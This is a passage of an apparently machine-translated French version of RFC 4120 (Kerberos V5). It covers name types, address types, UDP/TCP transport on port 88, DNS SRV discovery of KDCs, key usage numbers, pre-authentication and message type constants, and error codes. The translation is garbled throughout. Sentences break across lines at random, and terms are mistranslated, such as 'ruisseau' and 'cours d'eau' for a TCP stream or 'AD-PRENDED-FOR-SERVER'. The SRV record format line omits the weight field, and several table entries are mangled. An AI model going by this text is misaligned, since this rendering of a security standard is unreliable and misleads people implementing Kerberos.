composant identifiant le domaine pour lequel le ticket est valide.

Si le premier composant d’un nom identifie un service et qu’il existe un

composant unique suivant le nom du service identifiant l'instance
en tant qu'hôte sur lequel le serveur est en cours d'exécution, puis le
type de nom
SRV-HST DEVRAIT être utilisé. Ce type est généralement utilisé pour
Internet
des services tels que telnet et les commandes Berkeley R. Si le séparer
Les composants du nom d’hôte apparaissent successivement après
le nom du service, puis le type de nom SRV-XHST DEVRAIENT être utilisé.
Ce type peut être utilisé pour identifier les serveurs sur des hôtes
avec X.500
noms, où la barre oblique (/) pourrait autrement être ambiguë.

Un type de nom NT-X500-PRINCIPAL DEVRAIT être utilisé lorsqu'un nom

provenant d'un
Le certificat X.509 est traduit en un nom Kerberos. L'encodage
du nom X.509 en tant que principal Kerberos doit être conforme à la
 règles de codage spécifiées dans la RFC 2253.

Un type de nom SMTP permet à un nom de prendre une forme ressemblant à

une
Nom de messagerie SMTP. Ce nom, y compris un "@" et un nom de domaine,
est
utilisé comme l'un des composants du nom principal.

Un type de nom INCONNU DEVRAIT être utilisé lorsque la forme du nom est
pas connu. Lors de la comparaison de noms, un nom de type inconnu
correspondra
les donneurs d'ordre authentifiés avec des noms de tous types. Un
principal
authentifié avec un nom de type INCONNU, cependant, ne correspondra que
autres noms de type UNKNOWN.

Les noms de tout type avec un composant initial de 'krbtgt' sont

réservés
pour le service d'octroi de tickets Kerberos. Voir la section 7.3 pour
la
forme de ces noms.

6.2.1. Nom du serveur principal

L’identifiant principal d’un serveur sur un hôte sera généralement

composé de deux parties: (1) le domaine du KDC avec lequel le serveur
est enregistré, et (2) un nom à deux composants de type NT-SRV-HST, si
le nom d'hôte est un nom de domaine Internet ou un nom à plusieurs
composants
de type NT-SRV-XHST, si le nom de l'hôte est de forme (telle que
X.500) qui autorise les séparateurs slash (/). Le premier composant du
nom à deux ou plusieurs composants identifiera le service, et le
ces derniers composants identifieront l'hôte. Où le nom de l'hôte
n'est pas sensible à la casse (par exemple, avec les noms de domaine
Internet) la
Le nom de l'hôte DOIT être en minuscule. Si spécifié par l'application
protocole pour des services tels que telnet et les commandes Berkeley R
qui
exécuté avec des privilèges système, le premier composant PEUT être la
chaîne
'hôte' au lieu d'un identifiant spécifique au service.

Neuman et al. La voie des normes [Page 100]

RFC 4120 Kerberos V5 juillet 2005

7. Constantes et autres valeurs définies

7.1. Types d'adresses d'hôte

Toutes les valeurs négatives pour le type d’adresse d’hôte sont

réservées aux utilisateurs locaux.
utilisation. Toutes les valeurs non négatives sont réservées aux
assignations officielles
champs de type et interprétations.

Adresses Internet (IPv4)

 Les adresses Internet (IPv4) sont des quantités 32 bits (4 octets),
codées
dans l'ordre MSB (octet le plus significatif en premier). Le bouclage
IPv4
adresse NE DEVRAIT PAS apparaître dans une PDU Kerberos. Le type
d'IPv4
adresses est deux (2).

Adresses Internet (IPv6)

Les adresses IPv6 [RFC3513] sont des quantités de 128 bits (16
octets),
codé dans l'ordre MSB (octet le plus significatif en premier). Le
type de
Les adresses IPv6 sont vingt-quatre (24). Les adresses suivantes
DOIVENT
N'apparaît dans aucune PDU Kerberos:

* l'adresse non spécifiée

* l'adresse de bouclage
* Adresses de lien local

Cette restriction s'applique à l'inclusion dans les champs d'adresse

de
PDU Kerberos, mais pas aux champs d’adresse des paquets susceptibles
de
transporter de telles PDU. La restriction est nécessaire car
l'utilisation de
une adresse de portée non globale pourrait permettre l'acceptation
d'un
message envoyé depuis un nœud qui peut avoir la même adresse, mais
qui
n'est pas l'hôte prévu par l'entité qui a ajouté la restriction.
Si le type d’adresse lien-local doit être utilisé pour la
communication,
alors la restriction d'adresse dans les billets ne doit pas être
utilisée (c'est-à-dire
les billets sans adresse doivent être utilisés).

Les adresses IPv6 mappées IPv4 DOIVENT être représentées comme des
adresses de
type 2.

Adresses DECnet Phase IV

Les adresses DECnet Phase IV sont des adresses 16 bits, codées en LSB
ordre. Le type d’adresses DECnet Phase IV est de douze (12).

Neuman et al. Piste de normes [Page 101]

RFC 4120 Kerberos V5 juillet 2005

Adresses Netbios
 Les adresses Netbios sont des adresses de 16 octets généralement
composées de 1
15 caractères alphanumériques et complété avec le SPC US-ASCII
caractère (code 32). Le 16ème octet DOIT être l'US-ASCII NUL
caractère (code 0). Le type d’adresses Netbios est de vingt (20).

Adresses directionnelles

Inclure l'adresse de l'expéditeur dans les messages KRB_SAFE et

KRB_PRIV est
indésirable dans de nombreux environnements car les adresses peuvent
être
changé dans le transport par les traducteurs d'adresse de réseau.
Toutefois, si
ces adresses sont supprimées, les messages peuvent être soumis à une
attaque de réflexion dans laquelle un message est renvoyé à sa
auteur. Le type d'adresse directionnelle fournit un moyen d'éviter
adresses de transport et attaques par réflexion. Adresses
directionnelles
sont codés sous forme d'entiers non signés de quatre octets dans
l'ordre des octets du réseau.
Si le message provient de la partie qui envoie l'original
KRB_AP_REQ, une adresse de 0 DEVRAIT alors être utilisée. Si la
le message provient de la partie à qui était KRB_AP_REQ
envoyé, alors l'adresse 1 DEVRAIT être utilisée. Applications
impliquant
plusieurs parties peuvent spécifier l'utilisation d'autres adresses.

Les adresses directionnelles DOIVENT être utilisées uniquement pour

l'adresse de l'expéditeur
champ dans les messages KRB_SAFE ou KRB_PRIV. Ils NE DOIVENT PAS être
utilisés
en tant qu'adresse de ticket ou dans un message KRB_AP_REQ. Ce type
d'adresse
NE DEVRAIT être utilisé que dans des situations où la partie
expéditrice sait
que la partie destinataire supporte le type d'adresse. Ce
signifie généralement que les adresses directionnelles ne peuvent
être utilisées que lorsque
le protocole d'application nécessite leur support. Directionnel
les adresses sont de type (3).

7.2. KDC Messaging: Transports IP

Kerberos définit deux mécanismes de transport IP pour la communication

entre clients et serveurs: UDP / IP et TCP / IP.

7.2.1. Transport UDP / IP

Les serveurs Kerberos (KDC) prenant en charge les transports IP DOIVENT

accepter UDP
demandes et DEVRAIENT les écouter sur le port 88 (décimal) sauf si
spécialement configuré pour écouter un autre port UDP.
Des ports alternatifs PEUVENT être utilisés lors de l’exécution de
plusieurs KDC pour plusieurs
royaumes sur le même hôte.
Neuman et al. Piste de normes [Page 102]

RFC 4120 Kerberos V5 juillet 2005

Les clients Kerberos prenant en charge les transports IP DEVRAIENT

prendre en charge l’envoi.
des demandes UDP. Les clients DEVRAIENT utiliser la découverte KDC
[7.2.3] pour
identifiez l'adresse IP et le port auquel ils enverront leur
demande.

Lorsque vous contactez un KDC pour une requête KRB_KDC_REQ à l'aide de

UDP / IP
transport, le client doit envoyer un datagramme UDP contenant uniquement
un
codage de la demande au KDC. Le KDC répondra avec un
datagramme de réponse contenant uniquement un codage du message de
réponse
(soit un KRB_ERROR, soit un KRB_KDC_REP) sur le port d’envoi situé au
adresse IP de l'expéditeur. La réponse à une demande faite via UDP / IP
le transport DOIT également utiliser le transport UDP / IP. Si la
réponse ne peut pas être
traité avec UDP (par exemple, parce qu’il est trop grand), le KDC
DOIT retourner KRB_ERR_RESPONSE_TOO_BIG, forçant le client à réessayer
le
demande utilisant le transport TCP.

7.2.2. Transport TCP / IP

Les serveurs Kerberos (KDC) prenant en charge les transports IP DOIVENT

accepter TCP
demandes et DEVRAIENT les écouter sur le port 88 (décimal) sauf si
spécialement configuré pour écouter sur un autre port TCP.
Des ports alternatifs PEUVENT être utilisés lors de l’exécution de
plusieurs KDC pour plusieurs
royaumes sur le même hôte.

Les clients DOIVENT accepter l’envoi de requêtes TCP, mais PEUVENT

choisir de
essayez une demande initialement en utilisant le transport UDP. Les
clients DEVRAIENT utiliser
Découverte KDC [7.2.3] pour identifier l'adresse IP et le port sur
lequel
ils enverront leur demande.

Note d’implémentation: Certaines extensions du protocole Kerberos seront

pas réussi si un client ou un KDC ne prenant pas en charge le transport
TCP est
impliqué. Les implémentations de la RFC 1510 n'étaient pas nécessaires
pour supporter
Transports TCP / IP.

Lorsque le message KRB_KDC_REQ est envoyé au KDC via un flux TCP,

la réponse (message KRB_KDC_REP ou KRB_ERROR) DOIT être renvoyée à
le client sur le même flux TCP qui a été établi pour le
demande. Le KDC PEUT fermer le flux TCP après l'envoi d'une réponse,
 mais PEUT laisser le ruisseau ouvert pendant une période raisonnable
s'il
attend un suivi. Des précautions doivent être prises dans la gestion de
TCP / IP
connexions sur le KDC pour empêcher les attaques par déni de service
basées sur
le nombre de connexions TCP / IP ouvertes.

Le client DOIT être prêt à faire fermer le flux par le KDC à

à tout moment après la réception d'une réponse. Une fermeture de cours
d'eau DEVRAIT
NE PAS être traité comme une erreur fatale. Au lieu de cela, si
plusieurs échanges sont
requis (par exemple, certaines formes de pré-authentification), le
client peut
besoin d'établir une nouvelle connexion quand il est prêt à envoyer

Neuman et al. Piste de normes [Page 103]

RFC 4120 Kerberos V5 juillet 2005

messages suivants. Un client PEUT fermer le flux après avoir reçu une
réponse, et DEVRAIT fermer le flux s’il ne s’attend pas à envoyer
messages de suivi.

Un client PEUT envoyer plusieurs demandes avant de recevoir des

réponses.
mais il doit être prêt à gérer la connexion en cours de fermeture
après la première réponse.

Chaque demande (KRB_KDC_REQ) et réponse (KRB_KDC_REP ou KRB_ERROR)

envoyé sur le flux TCP est précédé de la longueur de la requête en tant
que
4 octets dans l'ordre des octets du réseau. Le bit le plus élevé de la
longueur est
réservé pour une expansion future et DOIT être actuellement mis à zéro.
Si
un KDC qui ne comprend pas comment interpréter un bit très élevé du
le codage en longueur reçoit une requête avec le bit de poids fort de la
longueur définie, il DOIT renvoyer un message KRB-ERROR avec l'erreur
KRB_ERR_FIELD_TOOLONG et DOIT fermer le flux TCP.

Si plusieurs demandes sont envoyées via une seule connexion TCP et que
le
Le KDC envoie plusieurs réponses, le KDC n’est pas obligé d’envoyer le
message.
réponses dans l'ordre des requêtes correspondantes. Ceci peut
permettre à certaines implémentations d'envoyer chaque réponse dès
qu'elle est
prête, même si les demandes précédentes sont toujours en cours de
traitement
exemple, attente d’une réponse d’un périphérique externe ou d’une base
de données).

7.2.3. Découverte KDC sur les réseaux IP

Les implémentations du client Kerberos DOIVENT fournir un moyen au

client
 déterminer l'emplacement des centres de distribution de clés Kerberos
(KDC). Traditionnellement, les implémentations Kerberos ont stocké de
telles
informations de configuration dans un fichier sur chaque ordinateur
client.
L’expérience a montré que cette méthode de stockage de la configuration
l'information pose des problèmes avec des informations obsolètes et
mise à l'échelle, en particulier lors de l'utilisation de
l'authentification inter-domaines. Ce
section décrit une méthode d'utilisation du système de noms de domaine
[RFC1035]
pour stocker les informations d'emplacement KDC.

7.2.3.1. DNS contre Kerberos: Sensibilité à la casse des noms de domaine

Dans Kerberos, les noms de domaine sont sensibles à la casse. Bien qu'il
soit fortement
encouragé à ce que tous les noms de domaines soient en majuscules, cette
recommandation
n'a pas été adopté par tous les sites. Certains sites utilisent tous les
minuscules
Les noms et autres usages sont mixtes. DNS, en revanche, est le cas
insensible aux requêtes. Parce que le royaume se nomme "MYREALM",
"myrealm" et "MyRealm" sont tous différents, mais résolvent la même
chose en
système de nom de domaine, il est nécessaire que seul un des possibles
des combinaisons de caractères majuscules et minuscules peuvent être
utilisées dans le royaume
des noms.

Neuman et al. Piste de normes [Page 104]

RFC 4120 Kerberos V5 juillet 2005

7.2.3.2. Spécification des informations d'emplacement KDC avec des

enregistrements DNS SRV

Les informations d'emplacement KDC doivent être stockées à l'aide du DNS

SRV RR.
[RFC2782]. Le format de ce RR est le suivant:

_Service._Proto.Realm TTL Classe Priorité SRV Port Port cible

Le nom de service pour Kerberos est toujours "kerberos".

Le proto peut être "udp" ou "tcp". Si ces enregistrements SRV doivent

être
être utilisé, les deux enregistrements "udp" et "tcp" DOIVENT être
spécifiés pour tous les KDC
déploiements.

Le royaume est le royaume Kerberos auquel cet enregistrement correspond.

le
le domaine DOIT être un nom de domaine de style domaine.

TTL, Classe, SRV, Priorité, Poids et Cible ont le standard

sens tel que défini dans la RFC 2782.
 Selon RFC 2782, le numéro de port utilisé pour "_udp" et "_tcp" SRV
les enregistrements DEVRAIENT être la valeur attribuée à "Kerberos" par
Internet
Autorité de numéro attribuée: 88 (décimal), sauf si le KDC est configuré
pour écouter sur un autre port TCP.

Note d’implémentation: de nombreuses implémentations clientes existantes

ne
KDC Discovery et sont configurés pour envoyer des demandes à l'IANA
port attribué (88 décimales), il est donc fortement recommandé que les
KDC
être configuré pour écouter sur ce port.

7.2.3.3. Découverte KDC pour les noms de domaine de style de domaine sur
les réseaux IP

Ce sont des enregistrements DNS pour un domaine Kerberos EXAMPLE.COM. Il

a deux
Serveurs Kerberos, kdc1.example.com et kdc2.example.com. Des requêtes
devrait être dirigé vers kdc1.example.com d’abord conformément au
priorité. Les poids ne sont pas utilisés dans ces enregistrements
d'échantillon.

_kerberos._udp.EXAMPLE.COM. IN SRV 0 0 88 kdc1.example.com.

_kerberos._udp.EXAMPLE.COM. IN SRV 1 0 88 kdc2.example.com.
_kerberos._tcp.EXAMPLE.COM. IN SRV 0 0 88 kdc1.example.com.
_kerberos._tcp.EXAMPLE.COM. IN SRV 1 0 88 kdc2.example.com.

7.3. Nom du TGS

L'identifiant principal du service d'octroi de tickets doit être

composé de trois parties: le domaine du KDC émettant le ticket TGS,
et un nom en deux parties de type NT-SRV-INST, avec la première partie
"krbtgt"
et la deuxième partie le nom du royaume qui acceptera le TGT.
Par exemple, un TGT émis par le royaume ATHENA.MIT.EDU à utiliser pour

Neuman et al. Piste de normes [Page 105]

RFC 4120 Kerberos V5 juillet 2005

obtenir des billets auprès du ATHENA.MIT.EDU KDC a un identifiant

principal de
"ATHENA.MIT.EDU" (domaine), ("krbtgt", "ATHENA.MIT.EDU") (nom). Un TGT
émis par le royaume ATHENA.MIT.EDU à utiliser pour obtenir des billets à
partir du
Le domaine de MIT.EDU a un identifiant principal de "ATHENA.MIT.EDU"
(domaine),
("krbtgt", "MIT.EDU") (nom).

7.4. Arc OID pour KerberosV5

Cet OID PEUT être utilisé pour identifier les messages du protocole
Kerberos
encapsulé dans d'autres protocoles. Il désigne également l’arc OID pour
OID liés à KerberosV5 attribués par une action future de l'IETF.
 Note d’implémentation: La RFC 1510 avait une valeur incorrecte (5) pour
"dod" dans
son OID.

ID-IDENTIFIANT D'OBJET id-krb5 :: = {

iso (1) organisation-identifiée (3) dod (6) internet (1)
sécurité (5) kerberosV5 (2)
}

L'attribution des OID situés sous l'arc id-krb5 doit être obtenue par
contacter le bureau d'enregistrement pour l'arc id-krb5 ou son
représentant. À
au moment de la publication de la présente RFC, ces enregistrements
peuvent être
obtenu en contactant krb5-oid-registrar@mit.edu.

7.5. Constantes de protocole et valeurs associées

Les tableaux suivants répertorient les constantes utilisées dans le

protocole et définissent
leurs significations. Dans la section "spécification", les plages sont
spécifiées
qui limitent les valeurs des constantes pour lesquelles des valeurs sont
définies ici.
Cela permet aux implémentations de faire des hypothèses sur le maximum
les valeurs qui seront reçues pour ces constantes. Implémentations
recevoir des valeurs en dehors de la plage spécifiée dans la
"spécification"
section PEUT rejeter la demande, mais ils DOIVENT récupérer proprement.

7.5.1. Numéros d'utilisation des clés

Les spécifications de chiffrement et de somme de contrôle de la

[RFC3961] exigent
saisissez un "numéro d’utilisation de la clé" pour modifier la clé de
cryptage utilisée
message spécifique afin de rendre certains types de cryptographie
attaque plus difficile. Ce sont les valeurs d’utilisation des clés
assignées dans
ce document:

1. Horodatage padata AS-REQ PA-ENC-TIMESTAMP, chiffré avec

la clé client (section 5.2.7.2)

Neuman et al. Piste de normes [Page 106]

RFC 4120 Kerberos V5 juillet 2005

2. Ticket AS-REP et Ticket TGS-REP (comprend la session TGS)

clé ou clé de session de l'application), chiffrée avec le
clé de service (section 5.3)
3. Partie cryptée AS-REP (inclut la clé de session TGS ou
clé de session d'application), chiffrée avec la clé client
(Section 5.4.2)
 4. TGS-REQ KDC-REQ-BODY AuthorizationData, chiffré avec
la clé de session TGS (Section 5.4.1)
5. TGS-REQ KDC-REQ-BODY AuthorizationData, chiffré avec
la sous-clé d'authentificateur TGS (section 5.4.1)
6. TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator cksum,
saisie avec la clé de session TGS (Section 5.5.1)
7. Authentificateur T-PA-TGS-REQ padata AP-REQ (comprend
Sous-clé d’authentificateur TGS), chiffrée avec la session
TGS
clé (Section 5.5.1)
8. Partie cryptée TGS-REP (comprend la session d'application
clé), chiffrée avec la clé de session TGS (section 5.4.2)
9. Partie cryptée TGS-REP (comprend la session d'application
clé), chiffrée avec la sous-clé d'authentificateur TGS
(Section 5.4.2)
10. AP-REQ Authenticator cksum, associé à l'application
clé de session (Section 5.5.1)
11. Authentificateur AP-REQ (comprend l’authentificateur
d’application)
sous-clé), chiffrée avec la clé de session de l'application
(Section 5.5.1)
12. Partie cryptée AP-REP (comprend la session d'application
sous-clé), chiffrée avec la clé de session de l'application
(Section 5.5.2)
13. Partie cryptée KRB-PRIV, cryptée avec une clé choisie par
la demande (section 5.7.1)
14. Partie cryptée KRB-CRED, cryptée avec une clé choisie par
la demande (section 5.8.1)
15. Cksum KRB-SAFE, muni d’une clé choisie par le
application (section 5.6.1)
16-18. Réservé pour une utilisation future dans Kerberos et connexes
protocoles.
19. Somme de contrôle AD-KDC-ISSUED (somme de contrôle dans
5.2.6.4)
20-21. Réservé pour une utilisation future dans Kerberos et connexes
protocoles.
22-25. Réservé pour une utilisation dans l'API GSS Kerberos version
5
mécanismes [RFC4121].
26-511. Réservé pour une utilisation future dans Kerberos et connexes
protocoles.
512-1023. Réservé aux utilisations internes à une implémentation
Kerberos.
1024. Cryptage pour une application dans des protocoles qui ne sont
pas
spécifier les valeurs d'utilisation de la clé

Neuman et al. Norme Track [Page 107]

RFC 4120 Kerberos V5 juillet 2005

1025. Les sommes de contrôle pour l’utilisation des applications

dans des protocoles non
spécifier les valeurs d'utilisation de la clé
1026-2047. Réservé à l'utilisation de l'application.
7.5.2. Types de données de pré-authentification

Padata et type de données Commentaire de type Padata

Valeur

PA-TGS-REQ 1
PA-ENC-TIMESTAMP 2
PA-PW-SALT 3
[réservé] 4
PA-ENC-UNIX-TIME 5 (obsolète)
PA-SANDIA-SECUREID 6
PA-SESAME 7
PA-OSF-DCE 8
PA-CYBERSAFE-SECUREID 9
PA-AFS3-SALT 10
PA-ETYPE-INFO 11
PA-SAM-CHALLENGE 12 (sam / otp)
PA-SAM-RESPONSE 13 (sam / otp)
PA-PK-AS-REQ_OLD 14 (pkinit)
PA-PK-AS-REP_OLD 15 (pkinit)
PA-PK-AS-REQ 16 (pkinit)
PA-PK-AS-REP 17 (pkinit)
PA-ETYPE-INFO2 19 (remplace pa-etype-info)
PA-USE-SPECIFIED-KVNO 20
PA-SAM-REDIRECT 21 (sam / otp)
PA-GET-FROM-TYPED-DATA 22 (incorporé dans des données typées)
TD-PADATA 22 (Padata intégré)
PA-SAM-ETYPE-INFO 23 (sam / otp)
PA-ALT-PRINC 24 (crawdad@fnal.gov)
PA-SAM-CHALLENGE2 30 (kenh@pobox.com)
PA-SAM-RESPONSE2 31 (kenh@pobox.com)
PA-EXTRA-TGT 41 Extra réservé TGT
TD-PKINIT-CMS-CERTIFICATES 101 CertificateSet à partir du CMS
TD-KRB-PRINCIPAL 102 PrincipalName
Domaine TD-KRB-REALM 103
TD-TRUSTED-CERTIFIERS 104 de PKINIT
TD-CERTIFICATE-INDEX 105 de PKINIT
TD-APP-DEFINED-ERROR 106 spécifique à l'application
TD-REQ-NONCE 107 INTEGER
TD-REQ-SEQ 108 INTEGER
PA-PAC-REQUEST 128 (jbrezak@exchange.microsoft.com)

Neuman et al. Piste de normes [Page 108]

RFC 4120 Kerberos V5 juillet 2005

7.5.3. Types d'adresse

Type d'adresse

IPv4 2
Directionnel 3
ChaosNet 5
XNS 6
ISO 7
 DECNET Phase IV 12
AppleTalk DDP 16
NetBios 20
IPv6 24

7.5.4. Types de données d'autorisation

Type de données d'autorisation Valeur de type d'annonce

AD-IF-PERTINENT 1
AD-PRENDED-FOR-SERVER 2
AD-PRÉVU-POUR-APPLICATION-CLASSE 3
AD-KDC-ISSUE 4
AD-AND-OR 5
AD-OBLIGATOIRE-BILLETS-EXTENSIONS 6
AD-IN-BILLET-EXTENSIONS 7
AD-OBLIGATOIRE-POUR-KDC 8
Valeurs réservées 9-63
OSF-DCE 64
SESAME 65
AD-OSF-DCE-PKI-CERTID 66 (hemsath@us.ibm.com)
AD-WIN2K-PAC 128 (jbrezak@exchange.microsoft.com)
AD-ETYPE-NEGOCIATION 129 (lzhu@windows.microsoft.com)

7.5.5. Types de codage transmis

Type de codage transmis Valeur de type Tr

DOMAIN-X500-COMPRESS 1
Valeurs réservées Toutes les autres

7.5.6. Numéro de version du protocole

Valeur de l'étiquette Signification ou code MIT

pvno 5 Numéro de version actuel du protocole Kerberos

Neuman et al. Norme Track [Page 109]

RFC 4120 Kerberos V5 juillet 2005

7.5.7. Types de message Kerberos

Type de message Valeur Signification

KRB_AS_REQ 10 Demande d'authentification initiale

KRB_AS_REP 11 Réponse à la demande KRB_AS_REQ
KRB_TGS_REQ 12 Demande d'authentification basée sur TGT
KRB_TGS_REP 13 Réponse à la demande KRB_TGS_REQ
KRB_AP_REQ 14 Demande d'application au serveur
KRB_AP_REP 15 Réponse à KRB_AP_REQ_MUTUAL
KRB_RESERVED16 16 Réservé à l'utilisateur krb_tgt_request
KRB_RESERVED17 17 Réservé pour utilisateur à utilisateur krb_tgt_reply
KRB_SAFE 20 Message d'application sécurisée (checksummed)
KRB_PRIV 21 Message d'application privé (chiffré)
 KRB_CRED 22 Message privé (crypté) à transférer
lettres de créance
KRB_ERROR 30 Réponse d'erreur

7.5.8. Types de noms

Nom Type Valeur Signification

KRB_NT_UNKNOWN 0 Type de nom inconnu

KRB_NT_PRINCIPAL 1 Juste le nom du principal comme dans DCE,
ou pour les utilisateurs
KRB_NT_SRV_INST 2 Service et autre instance unique (krbtgt)
KRB_NT_SRV_HST 3 Service avec nom d'hôte en tant qu'instance
(telnet, commandes)
KRB_NT_SRV_XHST 4 Service avec hôte comme composants restants
KRB_NT_UID 5 ID unique
KRB_NT_X500_PRINCIPAL 6 Nom distinctif X.509 codé [RFC2253]
KRB_NT_SMTP_NAME 7 Nom sous la forme du nom de messagerie SMTP
(par exemple, utilisateur@exemple.com)
KRB_NT_ENTERPRISE 10 Nom de l'entreprise; peut être associé à
nom principal

7.5.9. Codes d'erreur

Code d'erreur Valeur Signification

KDC_ERR_NONE 0 Aucune erreur

KDC_ERR_NAME_EXP 1 Entrée du client dans la base de données
a expiré
KDC_ERR_SERVICE_EXP 2 Entrée du serveur dans la base de données
a expiré
KDC_ERR_BAD_PVNO 3 Version du protocole demandé
nombre non supporté

Neuman et al. Voie des normes [Page 110]

RFC 4120 Kerberos V5 juillet 2005

KDC_ERR_C_OLD_MAST_KVNO 4 Clé de la clé du client chiffrée

ancienne clé principale
KDC_ERR_S_OLD_MAST_KVNO 5 Clé de la clé du serveur
ancienne clé principale
KDC_ERR_C_PRINCIPAL_UNKNOWN 6 Client introuvable dans
Base de données Kerberos
KDC_ERR_S_PRINCIPAL_UNKNOWN 7 Serveur introuvable dans
Base de données Kerberos
KDC_ERR_PRINCIPAL_NOT_UNIQUE 8 Entrées principales multiples
en base de données
KDC_ERR_NULL_KEY 9 Le client ou le serveur a un
clé nulle
KDC_ERR_CANNOT_POSTDATE 10 Ticket non éligible pour
postdatant
KDC_ERR_NEVER_VALID 11 L'heure de début demandée est
plus tard que l'heure de fin
KDC_ERR_POLICY 12 Demande de politique rejetée par la stratégie KDC
KDC_ERR_BADOPTION 13 KDC ne peut pas accueillir
option demandée
 KDC_ERR_ETYPE_NOSUPP 14 KDC ne prend pas en charge
type de chiffrement
KDC_ERR_SUMTYPE_NOSUPP 15 KDC ne prend pas en charge
type de somme de contrôle
KDC_ERR_PADATA_TYPE_NOSUPP 16 KDC ne prend pas en charge
type de padata
KDC_ERR_TRTYPE_NOSUPP 17 KDC ne prend pas en charge
type en transit
KDC_ERR_CLIENT_REVOKED 18 Les informations d'identification des clients
ont
été révoqué
KDC_ERR_SERVICE_REVOKED 19 Les informations d'identification du serveur
ont
été révoqué
KDC_ERR_TGT_REVOKED 20 TGT a été révoqué
KDC_ERR_CLIENT_NOTYET 21 Le client n'est pas encore valide; essayer
encore plus tard
KDC_ERR_SERVICE_NOTYET 22 Le serveur n'est pas encore valide; essayer
encore plus tard
KDC_ERR_KEY_EXPIRED 23 Le mot de passe a expiré;
changer le mot de passe pour
réinitialiser
KDC_ERR_PREAUTH_FAILED 24 Pré-authentification
l'information était invalide
KDC_ERR_PREAUTH_REQUIRED 25 Préalables supplémentaires
Identification requise
KDC_ERR_SERVER_NOMATCH 26 Serveur et ticket demandés
ne correspond pas
KDC_ERR_MUST_USE_USER2USER 27 Le principal du serveur est valide pour
user2user seulement
KDC_ERR_PATH_NOT_ACCEPTED 28 Rejet de la stratégie KDC
sentier en transit

Neuman et al. Piste de normes [Page 111]

RFC 4120 Kerberos V5 juillet 2005

KDC_ERR_SVC_UNAVAILABLE 29 Un service n'est pas disponible

KRB_AP_ERR_BAD_INTEGRITY 31 Contrôle d'intégrité sur
le champ déchiffré a échoué
KRB_AP_ERR_TKT_EXPIRED 32 Ticket expiré
KRB_AP_ERR_TKT_NYV 33 Ticket pas encore valide
KRB_AP_ERR_REPEAT 34 La requête est une relecture
KRB_AP_ERR_NOT_US 35 Le billet n'est pas pour nous
KRB_AP_ERR_BADMATCH 36 Ticket et authentificateur
ne correspond pas
KRB_AP_ERR_SKEW 37 Le décalage d'horloge est trop grand
KRB_AP_ERR_BADADDR 38 Adresse réseau incorrecte
KRB_AP_ERR_BADVERSION 39 Incompatibilité de version de protocole
KRB_AP_ERR_MSG_TYPE 40 Type de message invalide
KRB_AP_ERR_MODIFIED 41 Flux de messages modifié
KRB_AP_ERR_BADORDER 42 Message hors d'usage
KRB_AP_ERR_BADKEYVER 44 La version spécifiée de la clé est
indisponible
KRB_AP_ERR_NOKEY 45 Clé de service non disponible
KRB_AP_ERR_MUT_FAIL 46 Authentification mutuelle
échoué
KRB_AP_ERR_BADDIRECTION 47 Sens du message incorrect
 KRB_AP_ERR_METHOD 48 Autre authentification
méthode requise
KRB_AP_ERR_BADSEQ 49 Numéro de séquence incorrect
dans le message
KRB_AP_ERR_INAPP_CKSUM 50 Type inapproprié de
somme de contrôle dans le
message
KRB_AP_PATH_NOT_ACCEPTED 51 La stratégie a été rejetée.
chemin
KRB_ERR_RESPONSE_TOO_BIG 52 Réponse trop grande pour UDP;
réessayer avec TCP
KRB_ERR_GENERIC 60 Erreur générique (description
dans le texte électronique)
KRB_ERR_FIELD_TOOLONG 61 Le champ est trop long pour cela.
la mise en oeuvre
KDC_ERROR_CLIENT_NOT_TRUSTED 62 Réservé pour PKINIT
KDC_ERROR_KDC_NOT_TRUSTED 63 Réservé à PKINIT
KDC_ERROR_INVALID_SIG 64 réservé pour PKINIT
KDC_ERR_KEY_TOO_WEAK 65 réservé pour PKINIT
KDC_ERR_CERTIFICATE_MISMATCH 66 réservé pour PKINIT
KRB_AP_ERR_NO_TGT 67 Aucun TGT disponible pour
valider UTILISATEUR À
UTILISATEUR
KDC_ERR_WRONG_REALM 68 Réservé pour une utilisation future
KRB_AP_ERR_USER_TO_USER_REQUIRED 69 Le billet doit être pour
UTILISATEUR À UTILISATEUR
KDC_ERR_CANT_VERIFY_CERTIFICATE 70 réservé pour PKINIT
KDC_ERR_INVALID_CERTIFICATE 71 réservé pour PKINIT
KDC_ERR_REVOKED_CERTIFICATE 72 réservé à PKINIT

Neuman et al. Standards Track [Page 112]

RFC 4120 Kerberos V5 juillet 2005

KDC_ERR_REVOCATION_STATUS_UNKNOWN 73 Réservé pour PKINIT

KDC_ERR_REVOCATION_STATUS_UNAVAILABLE 74 Réservé à PKINIT
KDC_ERR_CLIENT_NAME_MISMATCH 75 réservé pour PKINIT
KDC_ERR_KDC_NAME_MISMATCH 76 Réservé pour PKINIT

8. Conditions d'interopérabilité

La version 5 du protocole Kerberos prend en charge une multitude

d’options.
Parmi ceux-ci figurent plusieurs types de chiffrement et de somme de
contrôle; alternative
schémas de codage pour le champ en transit; mécanismes optionnels pour
pré-authentification; le traitement des billets sans adresse;
options d'authentification mutuelle; authentification d'utilisateur à
utilisateur;
soutien aux procurations; le format des noms de domaine; le traitement
de
données d'autorisation; et acheminer, postdater et renouveler des
billets.

Pour assurer l’interopérabilité des royaumes, il est nécessaire de

définir une configuration minimale qui doit être supportée par tous
mises en œuvre. Cette configuration minimale est sujette à changement à
mesure que
 la technologie fait. Par exemple, si à une date ultérieure, il est
découvert
qu'un des algorithmes de chiffrement ou de somme de contrôle requis
n'est pas
sécurisé, il sera remplacé.

8.1. Spécification 2

Cette section définit la deuxième spécification de ces options.

On peut dire que les implémentations configurées de cette manière
prendre en charge la spécification 2 de la version 5 de Kerberos.
Spécification 1
(obsolète) peut être trouvé dans RFC 1510.

Transport

Le transport TCP / IP et UDP / IP DOIT être pris en charge par les

clients et les KDC.
affirmer sa conformité à la spécification 2.

Méthodes de chiffrement et de somme de contrôle

Les mécanismes de chiffrement et de somme de contrôle suivants

DOIVENT être
prise en charge:

Chiffrement: AES256-CTS-HMAC-SHA1-96 [RFC3962]

Somme de contrôle: HMAC-SHA1-96-AES256 [RFC3962]

Les mises en œuvre DEVRAIENT prendre en charge d’autres mécanismes

également, mais
des mécanismes supplémentaires ne peuvent être utilisés que lors de
la communication avec
les directeurs connus pour les soutenir également. Les mécanismes
suivants
de [RFC3961] et [RFC3962] DEVRAIENT être pris en charge:

Neuman et al. Piste de normes [Page 113]

RFC 4120 Kerberos V5 juillet 2005

Cryptage: AES128-CTS-HMAC-SHA1-96, DES-CBC-MD5, DES3-CBC-SHA1-KD

Sommes de contrôle: DES-MD5, HMAC-SHA1-DES3-KD, HMAC-SHA1-96-AES128

